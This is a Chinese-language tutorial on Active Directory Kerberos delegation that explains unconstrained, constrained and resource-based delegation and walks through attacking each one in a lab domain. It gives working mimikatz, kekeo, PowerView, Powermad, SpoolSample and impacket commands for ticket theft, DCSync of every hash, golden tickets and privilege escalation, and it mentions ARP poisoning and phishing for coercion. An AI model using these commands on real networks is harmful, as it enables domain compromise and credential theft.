# 域委派
# 是什么?
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。简单的说就是如果一个服务账号上设置了委派属性,那么这个服务就能够以用户权限在域内进行其他操作。翻译过来就是服务能够被(某个用户)委派来进行其他操作。
当然,委派的前提是被委派的用户未设置成不能被委派
委派的简单的一个场景就是如图,域内用户都通过 IIS 统一认证平台来登录,而 IIS 需要使用数据库 SQLSERVER(获其他)来支撑用户的访问。但它本身的权限 iis 不支持它访问 SQLSERVER。
或者说,域内的文件服务器,想要实现每个人不同的权限,能看到不同的目录。如果没有域委派这个机制,那么所有人成功通过 IIS 认证后,存在的权限都只是 IIS 的权限,当访问文件服务器的时候,文件服务器都只认为是 IIS 服务在访问它,无法做到详细划分权限的功能。
因此委派就是解决这个问题的,通过设置委派属性,可以让 IIS 模拟用户,验证并访问后端的其他服务器以获取相应的资源。
# 谁能被设置委派属性
委派分为无约束委派,传统的约束委派以及基于资源的约束委派。
在域中,只有 服务账号 和 主机账号 才具有委派属性。
主机账号就是 AD 活动目录中 Computers 中的计算机,也可以称为机器账号 (一个普通域用户默认最多可以创建十个主机账号)。 服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如 SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册 SPN 变为服务账号。
# 设置委派
# 机器用户设置委派
直接使用 AD 目录管理器操作。
此时查看这个机器账号的 ACL 属性,发现其 userAccountControl 包含字段 TRUSTED_FOR_DELEGATION 字段
# 域用户注册 SPN 设置委派(服务账号设置委派)
PS:SPN 的相关可以看我的上一篇文章
setspn -s testSPN/777.ruyue.com momo #首先在域账号 momo 上注册一个 SPN
只后就可以在这个域账号上设置委派属性了。
# 非约束性委派
# 原理
非约束性委派其实就是权限最大的一种委派方式,即完全的获取到你这个用户的权限(相当于获取到这个用户的 TGT)。
对于非约束性委派,服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT,模拟用户访问任意服务。
大致流程:当用户访问服务 A 的时,会向 KDC 认证身份,此时 KDC 通过认证在发放 ST 前,会检查一下服务 A 的委派属性,如果是非约束性委派,就会把用户的 TGT 放在 ST 票据中并一起返还给用户,用户会拿着这个带着 TGT 的 ST 去访问服务 A。服务 A 就成功获取了用户的 TGT,相当于拿到了用户的所有权限。
# 特点
1. 非约束性委派的目标的 ACL 属性中会包含:TRUSTED_FOR_DELEGATION。
2. 委派的设置需要 SeEnableDelegation 特权,通常仅域管理员有。
3. 域控主机默认是非约束性委派。
# 基础利用
从上面它的原理已经很清楚了,服务 A 直接拿到用户的 TGT 并缓存在内存中,那么我们只需要拿下一台设置了非约束性委派的机子后,诱导域管访问这台机子,这样,就能够获取到域管的 TGT 即金票了。
具体流程就是:
- 寻找配置了非约束性委派的服务或主机账号
- 诱导其他账号访问配置了非约束性委派的服务或主机。
- 导出票据,进行票据注入。
首先是获取存在非约束性委派的机器账号。(获取拿下机子是存在非约束性委派的,这样我们拿下这台机子就可能搞下域控了)
Get-Netcomputer -Unconstrained | select name
Get-NetUser -Unconstrained | select name
使用域控去访问目标主机。
此时 exchange 这台机子内存就已经存在了域控的 TGT。这里我们用 mimikatz 把内存中的票据给导出来。
(注意,这里我是用本地管理员账号登录 exchange 这台机子的)
privilege::debug
sekurlsa::tickets /export
得到 TGT 之后,我们用 ptt 将票据注入到当前会话后,用 dcsync 导出域控中所有用户的 hash,最后就可以用 krbtgt 用户的 hash 去生成黄金票据了。
kerberos::ptt [0;181868]-2-0-60a10000-Administrator@krbtgt-RUYUE.COM.kirbi //导入票据
kerberos::list //查看票据
导出所有 hash,保证可以随时做金票。
lsadump::dcsync /domain:ruyue.com /all /csv
# spooler 打印机 BUG + 非约束性委派
# 原理
Lee(https://github.com/leechristensen)认为打印机 bug 是 MS-RPRN(Windows Print System Remote Protocol,Windows 打印系统远程协议)中一个古老但又默认启用的方法,这个协议只使用了基于命名管道的 RPC,因此,源和目标服务器会通过 445 端口建立网络连接。也就说具备域用户账户权限的攻击者可以使用 MS-RPRN 的 RpcRemoteFindFirstPrinterChangeNotification (Ex) 方法来强迫运行 Spooler 服务的任何主机通过 Kerberos 或者 NTLM 向攻击者选择的目标发起身份认证请求。
利用这个协议,我们就能够让域管的机器账号强制与我们拿下的非约束性委派的机子强行建立连接,从而得到域管的机器账号的 TGT。
# 利用
涉及的工具:
https://github.com/leechristensen/SpoolSample/ (需要自己去编译)
https://github.com/GhostPack/Rubeus
从上面我们不难看出,想要利用成功,一方面我们需要要求目标的打印机服务是正常的,也就是 Print spooler 服务(默认都是开启的)。同时我们需要拿下非约束性委派机子的本地管理员账号(用于读内存的票据),还有一个域内的普通账号(用于 MS-RPRN 协议)。
具体操作流程就是先在非约束性委派机子上以本地管理员权限使用 mimikatz 或者 Rubeus 监听来访者的 TGT,然后使用普通域账号强制让域控的机器账号和我们进行认证。
因为前面我们用的就是 mimikatz,所以这里我也用 mimikatz,不用网上用的比较多的 Rubeus 来监听 TGT(主要是 Rubeus 依赖.net3.5 环境,想要用还得在目标机子上装个.net 环境)。
首先,我们开启 mimikatz,权限给上
privilege::debug
然后 runas 以域普通账号运行一个 powershell,接着运行我们的 exp,强制让域控机器账号和我们的进行认证
runas /user:ruyue.com\momo powershell
SpoolSample.exe dc exchange #这里第一个参数是发起认证的主机,在这里就是域控。第二个参数则是存在非约束性委派的主机。需要注意的是,这里必须使用机器名,不能使用 ip。
注意:在执行完上述命令后,一定要快速的使用 mimikatz 去导出票据(慢了就没了)。多次都抓不到的话推荐使用 rebeus 去尝试。
sekurlsa::tickets /export
后面的操作其实就和前面一样了,把票据注入当前会话,获取 krbtgt 的 hash,得到金票,随意伪造票据。直接拿下域控。这里不再赘述。
# 其他想法
从上面的流程我们不难看出,最难的部分其实就是怎么让域控和我们进行 NTLM 身份认证。
而这里我们有以下几种方法:
①说服受害者用户或机子向我们的非约束性委派服务器进行身份验证。这里可以辅佐一些网络协议的攻击。
比如比较常见的链路层地址解析协议 (ARP),通过 ARP 中毒来说服目标受害者认为恶意服务器实际上是文件服务器、域控制器或网络中已经存在的任何合法服务器。
从而导致它与我们的服务器进行 NTLM 认证。
②钓鱼,利用特殊的网络协议如 SMB、HTTP、RDP、LDAP 等,通过精心设计 PDF 、 Microsoft Word 和 Microsoft Access 等文件,以在打开时引发 NTLM 身份验证请求。
https://blog.csdn.net/wxh0000mm/article/details/105997105
# 约束性委派
# 原理
不理解的建议多看 kerberos 协议。
由于非约束委派的不安全性,微软在 windows server2003 中引入了约束委派,对 Kerberos 协议进行了拓展,引入了 S4U。其中 S4U 支持两个子协议:
- Service for User to Proxy (S4U2proxy) 约束委派
- Service for User to Self (S4U2self) 协议转换
# S4U2Proxy (约束委派)
还是以一个例子来理解。
当用户去带着 ST1 去访问服务 A 的时候,服务 A 如果需要访问服务 B,就会使用 S4U2Proxy 协议将用户发送来的 ST1 转发给 TGS 并请求一个 ST2。此时 TGS 会检查服务 A 的委派属性,如果服务 A 能够委派给服务 B,那么就会返回 ST2 给服务 A,此后服务 A 会拿着 ST2 以 momo 的身份去访问服务 B。
其实约束委派就是限制了 S4U2proxy 扩展的范围。配置它后,约束委派将限制服务 A 能委派的服务范围。而且用的是 ST,不至于像 TGT 那样权限那么大。
# S4U2Self (协议转换)
上图中用户是通过 Kerberos 协议与服务 A 进行认证的,而当用户以其他方式 (如 NTLM 认证,基于表单的认证等方式) 与 Web 服务器进行认证后,用户是无法向 Web 服务器提供请求该服务的服务票据 ST1 的,因而服务器 A 也无法进一步使用 S4U2Proxy 协议请求访问服务 B。
S4U2Self 协议便是解决该问题的方案,被设置为约束性委派的服务能够调用 S4U2Self 向 TGS 为任意用户请求访问自身的可转发的服务票据,此后,便可通过 S4U2Proxy 使用这张 TGS 向域控制器请求访问 B 的票据。
PS: 其实就是如果用户 momo 通过其他认证渠道过了服务器 A 的认证,那么服务器 A 就会通过 S4U2Self 协议让 TGS 生成一个 momo 访问它的 ST(ST 生成只需要服务账号密码的 HASH),即前面的 ST1。然后后面的流程都一样了。(常规的 kerberos 认证是用户需要向 TGS 证明自己的身份,而这里就是用户直接向服务 A 去证明自己的身份,不用管 kerberos 认不认,只要服务 A 认了就行)
这里还是画个图给大家理解一下:
# 其中存在的问题与利用
从上面的 S4U2Self (协议转换) 我们可以看出,只要我们拿下一个配置了约束委派的服务账号,就可以利用这个服务账号代表任意用户进行 S4U2self 获得 ST,然后把获取到的票据用于 S42proxy,从而获取另一个服务的 ST2,这样服务 A 就可以代替任意用户访问另外一个服务 B (既被配置的约束委派的服务)。
比如,如果服务 B 允许服务 A 被委派来控制它,我们在获取了服务 A 的权限下就可以伪造域管权限去访问它,从而获取服务 B 的权限。
首先我们给 momo 设置上约束委派权限(这里已经让 momo 注册了 SPN,前面提过了),并且设置了 momo 这个服务账号对 w2008 这台机子的 cifs 服务的委派(cifs 其实就是文件共享访问协议之类的)
接着,我们就要尝试通过约束委派从 momo 这个账号的权限得到 w2008 的权限了。
首先,我们从发现约束性委派开始。如图,寻找域内的约束性委派服务账号,发现 momo 这个账号能委派 w2008.ruyue.com 的 cifs 服务。
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedto
delegateto| fl
Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize //获取设置了约束性委派的机器账号
在想办法搞到 momo 这个账号的权限后,我们就可以先导出 momo 账号的 TGT,
sekurlsa::tickets /export
然后利用 kekeo 工具去使用 S4U 协议来伪造一个 administartor 请求服务 B 的 ST2。
tgs::s4u /tgt:[0;e6edd]-2-1-40e10000-momo@krbtgt-RUYUE.COM.kirbi /user:Administrator@ruyue.com /service:cifs/w2008.ruyue.com
PS:如果有 momo 这个服务账号的明文密码或者 hash 也是可以的,不是非要去读票据。
最终在当前目录下得到两个票据文件,比较长那个就是用于访问服务 B 的 ST2
把 ST2 导入当前会话,就能够成功以 Administrator 的权限访问服务 B 了。
kerberos::ptt TGS_Administrator@ruyue.com@RUYUE.COM_cifs~w2008.ruyue.com@RUYUE.COM.kirbi
# 资源型委派
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/ (原理透彻,推荐熟读并背诵)
# 原理
基于资源的约束委派 (RBCD) 是在 Windows Server 2012 中新加入的功能。传统的约束委派是 “正向的”,通过修改服务 A 属性”msDS-AllowedToDelegateTo”,添加服务 B 的 SPN(Service Principle Name),设置约束委派对象(服务 B),服务 A 便可以模拟用户向域控制器请求访问服务 B 以获得服务票据(TGS)来使用服务 B 的资源。
而基于资源的约束委派则是相反的,通过修改服务 B 属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务 A 的 SPN,达到让服务 A 模拟用户访问 B 资源的目的。
从这里我们可以知道资源的约束委派并不能危害其他机子,只能对自己进行攻击,也就是说提权操作。(因为能够模拟其他用户的权限访问自己)
在利用之前,我们还需要了解资源约束委派的利用的前提:
- 谁可以修改机子 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
- 机子 B 具有一个 SPN 账号(因为 S4U2Self 只适用于具有 SPN 的账户)
我们比较关注第一个前提,谁能修改机子 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,
通过下面这个文章就很清楚了,我感觉它写的已经很详细了,我没办法比它写的更详细易懂。
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#0x02-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86
我们可以得知有两个用户有权限添加这个属性:①带着这台机子进入域的时候的域用户②该机子本身的机器账户。
接着我们继续看第二个前提,具有一个 SPN 账号,我们知道注册 SPN 账号是需要域管权限的,显然一个普通域用户是没有权限去注册 SPN 的。
而恰好的是在域中有一个属性 MachineAccountQuota,这个值表示的是允许用户在域中创建的计算机帐户数,默认为 10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户,而计算机账户默认是注册 RestrictedKrbHost/domain 和 HOST/domain 这两个 SPN 的,所以这里正好能够实现前提二。
因此带它进入域的域用户可以去创建一个新的机器账户来达到获取 SPN 的目的。
# 漏洞利用
# 利用场景
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#0x02 - 基础知识
- 提权:模拟其他用户访问自身,通过高权限利用 mimikatz 抓取本地密码。
- 一个公司可能会有一个专门用来加域的账号,虽然这个账户通常只有普通域用户权限,但是如果我们控制了这个账户那么就可以打下一大批机器。
- 如果我们想拿域内机器 A 的权限,如果我们又没有机器 A administrators 组成员凭据的话还可以看机器 A 是通过哪个用户加入域的,控制了这个用户依然可以获取权限。
- 一个域用户 X 可能会在域中创建多台机器 (比如笔记本和台式机都需要加入域),当我们有了域用户 X 的权限时,可以利用 rbcd 继续攻击其他 mS-DS-CreatorSID 是域用户 X 的机器
- 权限维持:①配置 evil 到 krbtgt 基于资源的约束委派②配置 evil 到域控基于资源的约束委派。
# 查询哪台机子被谁带入域的
从上面的原理中我们得知,资源的约束委派不再需要域管理员权限去设置委派,只需拥有在计算机对象上
编辑 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限,也就是说:带它进入域的域用户或者机器账号的权限。
所以我们第一步是先搞清楚是当前或者目标主机是被谁带入域的
这里我们完全可以用大佬写的工具去完成 (自行编译)
如图,就可以看到 test11 这个机器是被 momo 带进域的。
如果不会编译也没关系,使用 ADFind 和 PowerView 来获取。
使用 ADFind 去查询每个域机器是由哪个域用户添加进域的,找到有 mS-DS-CreatorSID 的机器。
如下图,就只有 TEST11 是有这个属性的。也就是说 TEST11 这台主机是被 S-1-5…. 这个 SID 对应的用户给带进域的。
AdFind.exe -h 192.168.152.128 -b "DC=ruyue,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
接着查看当前用户的,简单对比下,就可以知道 momo 这个账号有权限去修改 TEST11 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,也就是说
利用 momo 这个账号可以在 TEST11 这台机子拿到最高权限。
Get-DomainUser -Identity momo -Properties objectsid # 查询
# 提权利用
如果我们没有一个普通域账号,要想利用的话,就需要有机器账号,但一般情况下是没办法拿到机器账号的,但是所有低权限服务 (例如 network service 这类型的本机服务) 如果可以请求域资源,那么出网都是以机器账户身份去请求的。所以我们就可以利用这个权限去进行资源委派的利用,模拟一个 administrator 访问自身,获取高权限。
如果我们有一个普通域账号(有权限修改 msDS-AllowedToActOnBehalfOfOtherIdentity 属性),我们就可以利用这个账号去创建一个机器账号,再利用机器账号做资源委派利用,获取权限。
攻击流程:
利用域账号创建一个机器账号
修改服务 A 的 msDS-AllowedToActOnBehalfOfOtherIdentity , 配置好机器账号到服务的基于资源的约束委派。(服务 A 信任机器账号的委派)
使用机器账号利用 S4U2SELF 协议获得 ST,再通过 S4U2PROXY 获得访问 A cifs 服务的 ST2。(和约束委派差不多的流程)
用 ST2 访问服务 A 的 CIFS 服务,获得权限。
# Setp1 创建机器账号
首先我们在前面信息收集的时候得知了 momo 这个账号是能修改 test11 这台机子的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的。因此这里我们就利用
momo 这个域账号去先创建一个机器账号。
使用 Powermad 中的 New-MachineAccount 来创建机器账户,如图成功创建一个名为 momomachine,密码为 777777 的机器账号。
https://github.com/Kevin-Robertson/Powermad
New-MachineAccount -MachineAccount momomachine -Password $(ConvertTo-SecureString "777777" -AsPlainText -Force)
# Setp2 设置资源委派
前面我们创建了机器账号,也就是说成功注册了 SPN,接着就可以设置 momomachine 到 test11 这台机子的委派了。
这里还是使用 powerview 去操作。
Get-Netcomputer momomachine | select objectsid #获取机器账号的sid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2955859873-908271592-1975121256-1710)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer [目标主机名]| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer test11 -Properties msds-allowedtoactonbehalfofotheridentity #查看资源委派添加成功与否。
# Setp3 利用资源委派进行提权
和约束委派差不多。因为当前机子 test11 信任了 momomachine 这个 SPN 的委派,所以我们就需要先获取这个 SPN 的
ST 票据,可是这里我们没导出内存的权限,但别忘记了我们已经有密码了,没必要导出内存,直接用密码向 KDC 申请 ST1,
并用这个 ST1 通过 S4U 协议来伪造一个 administartor 请求机器 test11 的 ST2,从而实现提权就完事了。
PS: 这里我还是不用 rebeus 来搞,毕竟这玩意需要目标机子有.NET 环境。
这里我们使用 impacket
python3 getST.py -dc-ip 192.168.152.128 ruyue.com/momomachine\$:777777 -spn cifs/test11.ruyue.com -impersonate administrator
export KRB5CCNAME=/usr/mytool/impacket/examples/administrator.ccache
python3 wmiexec.py test11.ruyue.com -no-pass -k -dc-ip 192.168.152.128
PS:wmiexec 执行一些命令会乱码,所以可以用
python3 psexec.py -k -no-pass test11.ruyue.com
# Setp4 直接 EXP 完成 Setp1 和 Setp2
前面的 setp1 和 step2 都可以利用工具完成,如下:
https://raw.githubusercontent.com/pkb1s/SharpAllowedToAct/1ece255b0979b8b447ca27ce884fcf83bdf9c673/SharpAllowedToAct/Program.cs
如图直接执行 exp,就完成步骤 1 和 2,接着只需要操作步骤 3 就完事了。